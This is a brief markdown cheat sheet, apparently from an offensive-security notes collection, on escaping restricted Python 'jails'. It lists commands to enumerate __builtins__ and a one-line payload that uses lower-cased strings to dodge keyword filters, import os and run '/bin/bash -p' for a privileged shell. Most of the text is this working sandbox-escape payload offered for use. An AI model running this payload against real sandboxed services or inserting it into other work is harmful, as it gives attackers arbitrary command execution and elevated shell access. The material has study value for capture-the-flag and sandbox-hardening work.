killchain-compendium/exploit/python/jail_escape.md

347 B

Escaping Jails

Usage

  • Circumvent via __builtins__
dir(__builtins__)
__builtins__.__dict__
  • Call builtins
__builtins__.__dict__['__IMPORT__'.lower()]('OS'.lower()).__dict__['SYSTEM'.lower()]('/bin/bash -p')